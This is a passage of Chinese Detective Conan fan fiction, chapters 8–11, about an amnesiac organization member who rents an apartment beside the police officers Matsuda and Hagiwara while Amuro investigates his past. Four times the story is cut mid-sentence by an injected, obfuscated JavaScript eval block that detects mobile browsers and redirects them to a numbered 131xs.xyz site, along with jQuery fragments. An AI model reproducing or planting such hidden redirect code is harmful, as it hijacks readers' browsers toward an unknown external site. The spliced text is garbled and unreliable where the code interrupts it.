原来雨宫裕之以前也是这么倒霉啊,不会是这个身体的问题吧。
静间遥长叹一口气,摇了摇头,倒也没因为他的话生气。
“这样啊。”松田阵平了然,他在静间遥身边坐下,“说起来,我家隔壁正好有套空房要出租,条件也挺不错,要不要去看看?”
静间遥猛地转头看向身旁的人。
那一瞬间,他仿佛看见了这个一身漆黑西装的卷毛在散发着神圣的光芒。
什么黑/道?静间遥你有眼无珠!
这分明是天使!是菩萨!是拯救他于水火之间的大好人!
他一把抓住了对方的手,语气诚恳地说:
“拜托你了!松田先生!”
“都说了不要这么叫我!”
8. 警察
“怎么样?这房子还不错吧?”
松田阵平说着,伸手将窗帘向两侧拉开。午后的阳光瞬间涌入室内,将整个房间照得明亮而又温暖。
静间遥也走了过来,透过阳台的玻璃门,望着不远处的便利店招牌,不由得满意地点点头。
交通便利,采买也方便。虽然比预想中稍小一些,但也不成问题。
只是……
他忽然转过头,一脸认真地问道:“这房子之前出过人命吗?”
“咳咳咳……”松田阵平差点被自己的口水呛到,诧异地回过头,“哈?”
“我说,你挑房子的标准是不是有点太特别了?”
这么说就是没有。静间遥的眼睛瞬间亮了起来,几乎要冒出星星。
他可是看了一下午的凶宅,现在居然能遇到没有案件的房子!
松田阵平,真是天大的好人!就算是黑/道,那也肯定是黑/道中的大善人!
“太好了!我现在就想和房东签订契约!”
能住进这样的房子,就是立刻要他变身魔法少女去和反派大战个三万回合,他也一千个一万个愿意啊。
“嘛,不用那么着急。”松田阵平边说边在手机键盘上快速按动着,“我已经和房东说了,明天他会来跟你签合同的。今晚你可以直接在这里住下。”
天呐,甚至今晚都不用住酒店。糟糕,眼泪要下来了。
静间遥感动到几乎要扑上去,在被松田阵平瞪一眼后及时刹车,讪讪地笑了笑。
“谢谢松田哥!”被松田阵平又纠正了几次,静间遥终于换了个称呼。
“小事一桩。”松田阵平收起手机,勾起嘴唇,“比起这个,我们也好久没见了,之前给你发邮件也没有回。怎么样,今晚要不要和我还有hagi一起去喝一杯?”
黑/道聚会?身为正经跨国犯罪组织的一员,去参加“同行”的聚会,听起来就很有趣。
静间遥脑海里瞬间闪过各种荒诞的画面:几个戴着墨镜的彪形大汉手握酒杯,一边吐槽上司的不近人情,一边在推杯换盏时还不忘讨论任务收益和武器采购价目表……
虽然知道现实不会如此离谱,但他还是按耐不住心底那点蠢蠢欲试的好奇心。
静间遥刚要应下:“好……”
“咚咚咚。”
话还没说完,门口传来了一阵敲门声。
两人同时回头,看见一位白发苍苍的老婆婆正站在敞开的门口,神色显得有些焦急。
“山村婆婆?”松田阵平认出门口的身影,快步走向玄关,“您怎么来了?”
哇哦,敬语。静间遥好奇地跟在身后。
松田阵平见静间遥跟来,他侧过身低声解释:“这位是住在我家另一边的邻居,山村婆婆。”
山村婆婆微微欠身致歉:“对不起啊松田君,还有这位……”
“雨宫裕之。”
“雨宫君。”她点头示意,接着急切地对松田阵平说,“听房东说你在这儿帮忙,我就来直接找过来了。”
“因为看到门开着我就……哎呀,我真的实在是太着急了!”
“是发生什么事了吗?”松田阵平问。
“我放在门口要寄的包裹不见了!大概这么大!”山村婆婆张开双手,有些慌乱地比划着方盒的大小,“明明就放在门口,结果一会儿功夫就不见了!”
“里面是我要寄给宝贝孙女的礼物,非常重要!”
松田阵平点点头,语气转而变得认真且专业:“您先别着急,把详细情况说一下。”
山村婆婆连忙手脚并用地比划起来,神色焦急地描述着详细情况。松田阵平微微弯下腰,专注地倾听,时不时提出一些问题来厘清细节。
而站在松田阵平后的静间遥看着这一幕,倒是不由得暗自啧啧称奇。
他早就听闻关于这些黑/道成员的传闻:说什么他们最讲究“仁义”,会把自家地盘的居民纳入保护范围。他们不允许小混混在附近收保护费,甚至还会主动调解邻里纠纷。
没想到这些传闻是真的啊?
别说,松田阵平此刻这副沉稳干练、认真负责的模样,确实挺有道上大哥说一不二的那种气势,还挺帅气的。
如此靠谱的松田阵平,在他们组不知道是个什么职位?
“有松田君在真是太好了,毕竟报警的话还要等好久,有你这个警察在我就安心很多了……”
嗯嗯,对啊,真是靠谱的警察。
……?
等、等一下,警察????
静间遥猛得瞪大眼,难以置信地将松田阵平从头到脚打量了一遍:
一身笔挺的黑色西服,墨镜随意地挂在了胸口的口袋上。
警察?他吗????这一身装扮不是黑/道吗?
不对,之前松田阵平确实没有亲口说过他的职业,这些猜测都是他根据松田阵平的装扮脑补出来的。
不是黑/道,而是警察。
静间遥脑内出现几个黑体加粗的大字:
坏了,这是个好人!
现在是不是应该离他远一点比较好?
要是被组织发现自己居然和警察在一起,天知道那群疯子会不会对松田阵平做些什么。
松田阵平没有注意到身后已经石化的静间遥,继续认真地对山村婆婆说:“原来如此,能带我们去看看您放包裹的地方吗?”
“好好好。”山村婆婆顿时眉开眼笑,“哎呀,松田君就是靠谱啊。上次我家被闯了空门,也是多亏了你的帮忙呢……”
松田阵平转头正要招呼静间遥跟上,却看见他一副见了鬼似的表情。
他皱起眉:“你这又是什么表情?”
“没事!”静间遥立刻回答,急忙换了鞋,“走走走,我们去看看现场!”
两人跟着山村婆婆到了她家门口。
松田阵平蹲下身,仔细检查了现场,门口的地垫上留有几撮猫毛。静间遥若有所悟,用手机照亮了一旁的楼梯。
楼梯下方的阴暗角落被照亮,果然有一个不大的纸箱被推到了最里面。
“喵——”一只三花从角落中窜了出来,敏捷地跳到了扶手上。它扬起下巴,高傲地看着眼前的人类。
“原来是它干得好事。”松田阵平失笑,走下楼梯,把包裹拿了回来。
“给,婆婆。”
山村婆婆接过失而复得的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460635|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
包裹,顿时眉开眼笑,连连道谢:“太好了!真是多亏了松田君!还有这位……”
她顿了顿,才想起来名字:“雨宫君。”
“要不要来我家喝口水?我还烤了曲奇饼干呢。”
松田阵平婉拒了山村婆婆的好意,又简单叮嘱了几句注意保管财物,这才带着静间遥返回了公寓中。
关上门,松田阵平打量着有些神游天外的静间遥:“你……要不你今天还是好好休息一下吧?”
“咦?”
“总感觉你有些心不在焉的。”松田阵平关切地问,“是不是太累了?”
“嗯……有可能吧?我跑了一下午的中介,确实有点累。”静间遥想了想,回答道。
虽然他没感觉到累,但既然松田阵平这么问了,他也得找出个合理的回答。
“这样。”松田阵平点点头,又拿起手机快速摁了几下,“正好hagi也说今晚临时有事,约饭的事我们下次再说吧。”
“好,我都可以。麻烦松田哥了。”
松田阵平收起手机,朝门口走去,手搭在门把手上又回头补充道:“总之你今天就好好休息。我就在隔壁,有事随时找我。”
说完,他轻轻带上了门。
静间遥独自一人留在了空荡的房间里。他在骤然降临的寂静中深吸了一口气,然后猛地用双手捂住了脸。
啊——完蛋了!
这下好了,把普通的好人给牵扯进来了!
之前他收下那位公安警察的名片,还尚可解释为因安全屋被烧、不想引起注意的无可奈何。
可现在这个名叫松田阵平的警察分明就是和“自己”,和雨宫裕之是旧识,甚至看起来交情不浅。
虽然降谷零也是警察,但静间遥敢毫无顾虑地靠近他,根本原因在于对方是潜入组织的卧底。他不仅有自保的能力,甚至还有可能将自己拉出组织这个泥潭。
但普通的警察和降谷零完全不一样。他们根本不知道组织的存在,也无从防备那些来自暗处的危险。
就算有一天在黑暗中悄无声息地溺亡,他们也到死不会明白其中的缘由。
雨宫裕之啊雨宫裕之,你不是组织成员吗?怎么还和警察打交道?
难道是黑警?不是,松田阵平那样的好人怎么可能是黑警?!可恶啊……早知道他应该再多谨慎一些……
等会儿,那个“hagi”不会也是警察吧?
他暗自懊恼地抓了抓头发,可惜木已成舟,现在后悔已经太迟了。
他总不能今天刚搬来,明天就卷铺盖跑路吧?那样不但是松田阵平会感到奇怪,说不定还会引起组织那些藏在暗处的眼睛的关注。
虽然他也不确定这些“眼睛”是否真的存在,但这个险他无论如何都不能冒。
要保护他们,绝不能让组织的人察觉他们与自己的关联。
虽然连他自己也说不清这究竟是什么关系,但是被发现了肯定会出事!
绝对不能让这样的事发生。
静间遥暗自握拳。
要不以后有人问起,他就说松田阵平是他花钱买通的黑警?
……啧,什么馊主意。他在心中自嘲。
9. 档案
清晨,阳光熹微。斑驳的光影透过枝叶的缝隙洒落,在林间小径轻轻摇曳。
安室透穿着一身轻便的运动服,正沿着道路匀速慢跑。
周围的风景缓缓向后掠去,他微湿的金发在风中轻轻摇晃,阳光温柔地趴在上面,覆上了一层朦胧的光。
均匀的呼吸间偶尔带出一丝轻微的喘息,一颗汗珠从他的额角悄然滑落。
途经路边的一张长椅时,他渐渐放缓脚步。他先是撑着膝盖稍作停顿,随后才在一旁坐了下来。
长椅上早已坐着另一个男人,同样是一副运动的装扮。
那人戴着黑框眼镜,留着利落的寸头,表情严肃,正漠然地注视着前方,仿佛对身旁的人毫无察觉。
安室透并未看向对方,只是仿佛随口搭话般说道:“今天的天气真热啊。”
一阵热风恰好在此时拂过。
额前湿漉漉的金发黏在皮肤上,这并不舒服。他抬手随意地将发丝向后捋去,露出了光洁的额头。
“虽然天气热,但晚樱倒是开得还算不错。”男人回应道。
远处,一片樱花林正随风缓缓起舞。飘落的花瓣如同翩跹而舞的蝴蝶,在空中辗转旋转,悄然下坠。
“那也是因为一直有人悉心照看,才能开得这样好看,不是吗?”安室透微微一笑,灰紫的眼中在晨光中闪着光芒。
“……”男人——风见裕也听到这句话,不由得转过头,认真注视着上司。
他忽然想起,这段时间上司的好几封邮件都是在凌晨或早上发来的,显然他又是一夜未眠,任务缠身。
想到此,他的语气愈发恭敬:“辛苦了,降谷先生。”
安室透的笑意倏地收敛起来,严肃的目光朝风见裕也瞥去。
“安室先生。”风见裕也立即反应过来,迅速改了口。
“不,这没什么。”安室透淡淡答道。
他的视线已重新投向远处那片绚烂的樱花。
辛苦吗?自然辛苦。
值得吗?始终值得。
-
安室透从浴室中走出时,已换上了一身干净的衣物。发梢仍带着些许湿气,周身因绕着沐浴后的清爽。
他走回房间书桌,坐了下来。
桌面上放着风见今日递交给他的文件,一共两份。
一份是关于数日前那场火灾的搜查报告,另一份,则是雨宫裕之的个人档案。
他先翻开了火灾搜查报告。
负责侦办此案的是警视厅搜查一课纵火犯搜查系,一位姓“弓长”的警部,而非那天他们遇上的公安警察“大崎一平”。
风见在附注中补充说明,东京警视厅公安部的确存在“大崎一平”此人,外貌也与那日所见之人一致。
报告最终认定,那场火灾系一名连环纵火犯所为,嫌疑人已于当日下午落网。
整起事件看起来只是一桩普通的纵火案,与公安的职责范围相去甚远。
但也正是因为这份“普通”,让那位公安警察的出现显得格外突兀。
这份报告,恐怕是“表面”的那份。理应还有另一份,“内部”的那份。
按理来说,零组的权限也应该足以调阅“内部”那份报告,但风见并没有给他。
为什么?
在警视厅里,零组权限之外的部门可并不多。
安室透微微蹙眉,垂下眼眸凝视着那份报告许久,将报告再一次认真看过,也没有得到答案。
随后,他将其搁置一旁,翻开了另一份文件。
那份文件仅有薄薄几页,封面空白。
直到翻开第一页,才看到页眉处印有“个人信息调查”的字样和公安内部的编号。
他的目光落下,逐字逐句地向下看去。
【姓名:雨宫裕之】
【年龄:25岁】
【出生地:东京都】
【前科记录:无】
【……】
他的目光在“雨宫裕之”这四个字上停留了片刻,想起来那个人说出这个名字时郑重的模样。
竟然是真名。
视线往下,落在父母栏位“雨宫纯一郎”和“雨宫早纪”两个名字上,紧接着,他就看见一旁那两枚朱红的“死亡”印章。
档案显示,在他十五岁时父母因意外逝去,此后寄住在他的亲戚家中。
【教育经历:……】
【曾获奖项:全日本青少年柔道大会八强、关东地区青少年空手道锦标赛冠军、全国青少年剑道大赛季军……】
虽然之前见识过他的身手,但当安室透的视线扫过那几乎占满整页的各类大赛奖项时,还是不禁流露出些许讶异。
他原本以为,对方的那出众的体术是在组织中严酷训练而成的产物。未曾想,这竟是他在过去一点一滴所积累下来的。
还挺厉害的嘛。
但除了这一连串多得不同寻常的各项体术训练记录和获奖记录外,这个人的其他经历普通得令人乏味。
小学、初中、高中……
这些熠熠生辉的闪光点,都在他大学毕业后逐渐黯淡下来。
直至一年前,他的所有活动彻底停滞不前——那也正是“田纳西”这个代号,首次在组织里出现的时期。
这就是组织选中他成为“田纳西”的原因吗?
安室透的目光沉了沉。
一个拥有如此干净明亮过去的人,他没有任何理由加入组织。组织给他带来的,只有突然中断的人生轨迹,以及那一身刑讯留下的伤。
视线继续下移,最终定格在“驾照”那一栏。
【……】
【……普通机动车驾驶许可证】
他有驾照。
安室透眨了下眼,他记得之前雨宫裕之说过……
【“为什么不开车?”】
【“因为我不会。”】
可是当时他说这句话的神情,那双灰蓝的眼睛里充满了真诚的窘迫,并不像在说谎。
然而这份资料的来源是公安内部,真实性也毋庸置疑。
是不记得了吗?
初见时对代号反应的迟钝、与传闻截然不同的行事风格、偶尔流露出的茫然……
一连串的异常此刻在他的脑海中串联起来。
——雨宫裕之或许根本不知道自己是谁。
那么,雨宫裕之是在什么时候成为“田纳西”的?安室透的目光沉了下去。
时间点可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460636|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能就在hiro的那件事后,在真正的那位田纳西消失的五个月里。
据说,那一次任务是琴酒亲自指挥的,在日本的大部分行动组成员都参加了。
而那时的“波本”为了取得组织的信任,正远在西欧追踪一个棘手的黑手党头目,日夜周旋于枪火之间。
等他历经艰辛完成任务,风尘仆仆地回到日本时,得到的第一个消息,就像一把利剑刺穿了他的心脏:
苏格兰确认为叛徒,已被处决。
hiro死了,他的幼驯染死了。他甚至没能见到最后一面。
巨大的悲痛与愤怒将他笼罩,每一个清醒的时刻都被无尽的悔恨填满。
为什么是hiro?为什么自己没能阻止这一切?
他动用了一切手段,疯了似的收集所有相关情报。
最终,所有的线索都指向了同一个代号——田纳西。
情报中,那是一位独来独往,冷酷果决的杀手。
组织里流传着风声:田纳西在处理了叛徒后,得到了那位先生的赏识。
也是在那之后,立下大功的田纳西如同人间蒸发,消失在了组织这片迷雾之中。
他连仇人在哪、身在何处、长什么模样都无从知晓。空有一腔恨意,却找不到憎恨的目标。
那是他人生中最黑暗、最绝望的一段时光。
夜晚他总是被噩梦纠缠,梦里反复上演着hiro各种可能的死状,每一次都让他在冷汗中惊醒。
他深知他们选择的这条路必然伴随着牺牲,他以为自己早已做好了准备。
可当别离真的以这种残酷的形式降临,他才发现,那种刻苦铭心的痛苦与恨意,根本无法被任何“准备”所抵消。
找到那个“田纳西”,成为了支撑他在这片黑暗中继续走下去的信念。
直到数月后,琴酒发来了那封邮件:
【田纳西将顶替苏格兰的位置,加入威士忌小组。】
天赐良机。
这是他看到邮件时,在脑海中蹦出的第一个念头。
长久压抑的仇恨仿佛终于找到了明确的出口,再一次在心中燃起。
然而,当他真正见到这个所谓的“田纳西”时,预期与现实的巨大割裂感,瞬间冲垮了他先前所有的预想和认知。
这个会因为坐反地铁险些迟到,还对他抱有莫名信任的青年,怎么可能会是在众多代号成员中脱颖而出,独自完成处决的田纳西?
安室透无法相信。
当时的他,甚至刻意提及了“苏格兰”这个代号。可那青年眼中只有纯粹的茫然,仿佛听到的是一个完全陌生的名字。
倘若他真是得到了奖赏的田纳西,又怎么可能……忘了这件事?
他沉默地翻到最后一页,拿起夹在中间的那张照片。
照片上的青年对着镜头露出灿烂的笑容,桃花眼弯起,眉宇见似乎蕴含着阳光的暖意。
而比那灿烂笑容更清晰的,是青年的鼻尖靠右侧的一颗黑色小痣。
青年身后的樱花簌簌落下,与那个笑容一同被定格。
安室透久久地凝视着那张脸。
细碎的阳光落入他的双眼,如同沉入了一片深邃的灰紫迷雾。
10. 朋友(1)
“静间,你决定了吗?”
静间遥抬起头。
昏暗的光线下,他站在一张办公桌前。办公桌内侧,坐着一个人。
“是的,■■■。”他听见自己回答。
对面传来一声叹息。
“不再考虑一下吗?■■根本不希望你这么做。”
“不了,我心意已决。”
“真不后悔?你本可以拥有更平静的生活,一旦决定,你就再也回不去了。”
闻言,他的心脏突突跳动,他没有丝毫犹豫:
“绝不后悔,我有我必须要完成的使命。”
“哪怕可能会■■?”
“哪怕可能会■■。”
“……我明白了。”
“那么,祝你好运。静间■■■。”
“谢谢,我会的。”
-
静间遥缓缓睁开眼,看着天花板,意识一点点清醒过来。
对了,这里是他新租的房子。
不久前,他在和房东签好了合同,总算有了个固定的落脚点。
他打了个哈欠,随手抓了抓睡乱的头发,起身洗漱。
模糊的梦境在此刻已经所剩无几,但他隐约觉得,那好像是他曾经的记忆。
他要做什么?
已经记不清了。
就在他拿出冰箱里的面包,正要往上挤番茄酱时,手机“嗡嗡”一响,收到了一封邮件。
【看,睡炸头发的hagi。】
下面附着一张模糊的照片。照片里的男人笑容灿烂,两指比耶,头顶几缕头发精神地翘着。
静间遥不自觉抬起手捋了捋自己的头发。
没过多久,又是两声震动。
【看,和我同款发型的小阵平~】
这封邮件下也有一张照片。
一只手正在胡乱揉搓着松田阵平的一头卷毛,而松田阵平本人则张牙舞爪地想要扯开那只手。
“噗。”
静间遥忍不住笑出声。
手一抖,稍稍用力一抓,番茄酱从瓶口挤出一大团,软塌塌地趴在面包上。
啊,好像挤得有点多了。
但他仍是若无其事地又盖上一片面包,就这么吃了起来。
其实他这段时间也没再见过松田阵平。
至于那位“hagi”,更是至今未曾见过。
他有意避开了松田阵平,而对方似乎也因工作繁忙,很少和他碰上。只有偶尔发来的几封邮件,才让静间遥感受到对方的存在。
那些邮件的内容,就如同今天一样,平淡中带着琐碎的生活气息。
聊起最近的天气如何、抱怨东京为什么总有拆不完的炸弹、分享食堂难吃到头疼的饭菜。
那位hagi也时常会发一些邮件,字里行间的语气明显比松田阵平活泼许多。
尽管内容时常与松田阵平的邮件有所重合,但当静间遥空荡的邮箱中突然被塞进这样普通的日常,竟然让他感到陌生又格外的新奇。
他从来没有给过那两人自己的邮箱地址,这显然是雨宫裕之以前留的。
而雨宫裕之给那两人的备注名,一个是“松田哥”,另一个则是“萩原哥”。
看来,雨宫裕之也格外珍视这份友情啊……毕竟是他们那样的好人。
静间遥看着那些邮件,嘴角不自觉弯了弯,又立刻抿成直线。
他擦去嘴角的番茄酱,盯着屏幕沉默片刻,把那一点点的有趣日常铭记于心,然后一一选中,将它们删除。
既然之前邮箱里什么也没有,那么现在也不能留下任何痕迹。
他对着镜子脱下睡衣,露出了结实的上半身。
这段时间里,他身上的伤总算好了大半,淤青也逐渐褪成淡黄的痕迹,最终消失不见。
他套上T恤,戴上帽子口罩,准备出门。
最近,他瞒着两位警官先生,继续悄悄在东京各处搜罗新的住处。他想要尽快找到,然后找个合适的理由搬走。
他不想连累任何人。
-
松田阵平和萩原研二盯着屏幕上早已显示的“已读”字样,互相看了一眼,面面相觑。
“还是没回吗?”萩原研二问。
松田阵平思索了会儿,回答:“可能因为hagi你这个造型还不够有趣?”
“嗯……我有主意了!”
萩原研二单手握拳往掌心一敲,眼睛一亮,仿佛头顶冒出个小灯泡。
看着好友这副表情,松田阵平顿时预感不妙。他抬腿就想开溜,却被一把抓住。
“hagi——不要啊——”
“咔嚓。”
【已发送】
……
“回了吗?”松田阵平问。
“没有……”萩原研二耷拉着脑袋,抹了抹根本不存在的眼泪。
松田阵平叹气,拍了拍好友的肩膀。
明明前段时间,雨宫裕之还很勤劳地回复他们的邮件,偶尔还会分享一些有趣的日常。
结果从某一天起,他的回复戛然而止。
他们起初还以为是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460637|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雨宫裕之出了什么事,正准备去他家探探究竟。
结果就在某天,松田阵平偶遇了长椅上一脸生无可恋的他。
一问才知道,他家被烧了。
这也难怪。
想来他实在是太难过了,那段时间根本没心情回复他们的邮件吧。
哪怕松田阵平想起房东在隔壁还有套空房间可以租给他后,雨宫裕之的心情也不见好转。
也是,毕竟租的房子,终究比不过自己的家。
于是,他们同往常一般,继续给他发那些日常的邮件,想要借此转移他的注意力,希望让他心情好一些。
结果,两人都大败而归。
雨宫那小子居然一条邮件都没有回!!!!
是他hagi不行了?还是雨宫的笑点变高了?
萩原研二心中莫名燃起了奇怪的胜负欲,顺手抄起手边的纸就开始奋笔疾书,标题赫然是《让朋友心情变好的100种方法》。
松田阵平对萩原研二这般表现倒是接受良好,抱臂站在旁边认真地看着,时不时还提出了几点见解。
偶尔有几位从他们身后路过的警察,见他们神情专注的模样,还以为这对爆处双子星正在研究什么新型炸弹图纸。
努力,真的实在是太努力了!要向他们学习!
一旁的警察默默握拳,为自己鼓劲。
东京的炸弹虽然不少,但也不是每天都有,至少现在的东京塔也还算安全。
因为没有突发事件,萩原研二和松田阵平感觉早上的时间仿佛过得特别快。等他们洋洋洒洒写了满满三页纸后,再一抬头,竟然已经十二点了。
“中午吃什么?”萩原研二问。
“都可以吧,只要不是——”
“食堂——”两人异口同声,接着相视大笑起来。
“猪排饭怎么样?”
“欸——还是咖喱比较好吧。”
“感觉拉面也不错?”
两人说笑着,并肩走出了警视厅。
他们始终谈不拢意见,站在附近的街道看着小店琳琅满目的招牌,准备点兵点将。
突然,在人群中他们看见了一个熟悉的身影,两人悄悄躲进了角落。
那个人一身黑,戴着同色的鸭舌帽与口罩。他似乎也在找吃饭的地方,扫过一众小店后,选择了其中一家。
“不如,就蛋包饭?”萩原研二看着那个身影,提议道。
松田阵平也看到了,点头表示赞同:“嗯,就蛋包饭吧。”
两人抬脚跟了上去。
11. 朋友(2)
东京真是没救了。
静间遥忍不住在心里叹气。找了这么多天了,他居然再也没遇到第二套没有经历过凶杀案的房子。
要不……将就一下?命案就命案,也不是不能住,毕竟还是想办法搬走要紧。
不不不,还是再找找吧!那样的房子住着多膈应啊!
静间遥脑内的两个小人激烈地打了起来,最终一起打到了胃部。
“咕噜噜。”
有些饿了。
静间遥看向不远处的繁华街道,那一排接连开着几家小吃店。
中华料理、猪排饭、咖喱……
他的目光扫过各式各样的招牌,最终停在了一家招牌是蛋包饭的小店上。
他正要抬脚朝那边走去,却突然感受到两道视线。、
他猛地回头望去。
中午的街道人来人往,有几个结伴午休吃饭的社畜匆匆走过,并没有谁在看他。
奇怪……
“欢迎光临——”
店里还算热闹,他被服务员引领到一个四人座位。
“请问客人要点些什么?”服务员小哥问。
“特大份蛋包饭套餐。”静间遥看到菜单上的招牌,眼神坚定,“对了,请帮我多加——”
“帮他多加番茄酱。”另一个轻快的声音帮他接过了话头。
欸?
为什么……
他吃惊地转头望去,却撞进了一双紫罗兰色眼睛。那双眼睛微微下垂,富有亲和力,似乎总是带着笑意。
眼睛的主人注意到他的目光,笑着朝他挥了挥手。
“哟,小雨宫~”
静间遥见过这个人,就在今天邮件里的照片上。
——萩原研二。
难道说……
静间遥又向他身后看去,果不其然,看到了一个正懒洋洋打着哈欠的墨镜卷毛。
“哟。”对方双指在眉梢向前一划,随意地打了个招呼。
——松田阵平。
两位警官先生穿着一身整齐的西装,俨然一副午休外出用餐的模样。
静间遥想起之前他们发过的邮件。
果然是警视厅食堂太难吃了?都到外边来吃午餐了。
……等等!为什么会在这里遇上他们了!
静间遥回忆了一番今天的路线,这才后知后觉发现,自己在不知不觉之间走到了警视厅附近。
他想起了在店门前感受到的视线,该不会就是他们吧?
萩原研二走到他旁边,亲近地拍了拍他的肩膀,笑着对他说:“拼个桌吧?小雨宫?”
根本没有等他回应,两人就在他错愕的注视中,十分自然地坐在了他对面的座位上。
松田阵平抽走他手里的菜单,和萩原研二凑一起看了看。
“我们要和他一样的套餐。”萩原研二说,“啊,不过我们的就不用加番茄酱了。”
服务员一一记下,说了句“请稍等”就离开了。
因为最近一直在躲着对面两人,静间遥有些不敢直视对方,只是低头盯着自己交错的手指,两根拇指不安地互相绕着圈。
还是碰上了。是自己躲着他们被发现了吗?
不过幸好,附近应该没有组织的人,他之前特意确认过有没有被跟踪。
静间遥悄悄抬眼看向了对面,却发现两人也不知道盯着自己看了多久。
他更加心虚了。
萩原研二托着腮,笑盈盈地望着他,率先开口:“好久不见~小雨宫。”
也不知道这个“好久”,到底是多久。
“萩原哥。”静间遥勉强勾起嘴唇,对着对面的人笑了笑,然后看向另一位,“松田哥。”
松田阵平注意到了他的表情,轻轻“嗯”了一声作为回应。
他本想些做什么,但是看hagi兴致勃勃的样子,还是交给他来吧。况且,比起自己,确实是hagi更擅长安慰人这种事。
松田阵平转过头瞥了萩原研二一眼,对方立刻接收到了他眼神中传递的信息。
萩原研二点了点头,眼神一凛。
好!hagi的《让朋友心情变好的100种方法》第一条!
“小雨宫不笑也可以哦!”
他忽然伸出手,越过桌面,隔着帽子揉了揉他的头。
“如果觉得难过的话,也不用勉强自己笑哦。在我们面前,没关系的。”
欸,被看出来了。
静间遥抬起头,看向萩原研二含笑的眼睛。
“是因为房子的问题吗?我和小阵平都理解啦。肯定会找到合适的。”
虽然不完全是因为这个原因,但静间遥心中同时翻起了暖意与酸涩。
警察这种职业的人,是自带了什么发光的技能吗?
不然为什么他们每个人,身上都在散发着柔和的光辉?
他一时有些语噎。
“我……”
“但是!”萩原研二打断了他的话,语气稍稍认真起来,“一直不回邮件的话,我们可是会担心的。”
静间遥如同一只鹌鹑般低下头,“是……我知道了。”
可以回吗?他会这么说,就说明雨宫裕之以前经常会回复邮件。
他之前一直没有回,是担心组织会对成员的通讯有所监控。
他拆开手机仔细检查过,并没有发现窃听器或者定位设备,但以防组织有他不知道的高科技,他还是选择了不回复,并删除了它们的痕迹。
毕竟,之前的邮箱什么也没有。
原来……他是可以回复的吗?静间遥低着头,心情却是莫名轻松了许多。
以后回复完再删掉好了。他想。
“好了好了,hagi也不是在训斥你。”松田阵平靠着桌子,对他说,“只是你总是这么倒霉,我们也担心你是不是又出什么事。”
“喂,小阵平,你这比我说得还直接好不好?”萩原研二佯装不满,轻轻地锤了一下松田阵平的手臂。
“嘶——还不是hagi你先挑起来的!”
“呜呜呜好伤心……小阵平居然这么大声地和我说话……”
静间遥眨眨眼。这是开始耍宝了吗?
他本来都做好要挨训的准备了,结果这两人就这么自然地转移了话题。
他们真的很在乎自己的感受,是很好、很好的朋友。
嘴角不自觉的上扬,眼中也染上了笑意。
“对了!”萩原研二突然眼睛一亮,“今天发的那两张照片,你觉得是小阵平的造型更有趣,还是我的更有趣?”
“当然是松田哥!”静间遥毫不犹豫地回答。
“欸——怎么这样!”
“嘛,但那头卷毛炸起来像被雷劈了一样,确实有趣。原谅你了~”
“喂!你!们!两!个!”
“噗,哈哈哈哈……”
看到对面的人终于笑了,萩原研二和松田阵平也跟着放松下来。
松田阵平笑着竖起大拇指,萩原研二开心地比了个“耶”。
作战大成功~
没过多久,他们点的餐送了上来。
“客人,你们的特——大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460638|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
份蛋包饭套餐。”
三人面前都摆上了一盘分量惊人的蛋包饭,他们面面相觑,欲言又止。
“这么大一份,真的能吃得完吗?”松田阵平不禁问。
静间遥望着自己那份淋满了番茄酱的蛋包饭,给自己鼓劲,鼻子轻轻哼一了一声。
“吃得完的!看在番茄酱的面子上!”
……
吃不完!就算看在番茄酱的面子上也不行!
静间遥看着还剩一部分蛋包饭的盘子,欲哭无泪。
两位警官先生倒是勉强解决了自己那份,不约而同地打了个饱嗝。
“暂时……至少一周都不想再见到蛋包饭了。”
另外两人表示赞同。
午休结束的时间悄然而至,松田阵平和萩原研二也要回警视厅了。
与两位警官道别后,静间遥本以为暂时不会再见到他们了。毕竟,他并不打算改变心中的想法,依然决心要与他们保持距离。
不过,至少现在他可以回复他们的邮件了。
光是这一点,就让他感到一丝微小的快乐。
对他来说,这样就足够了。
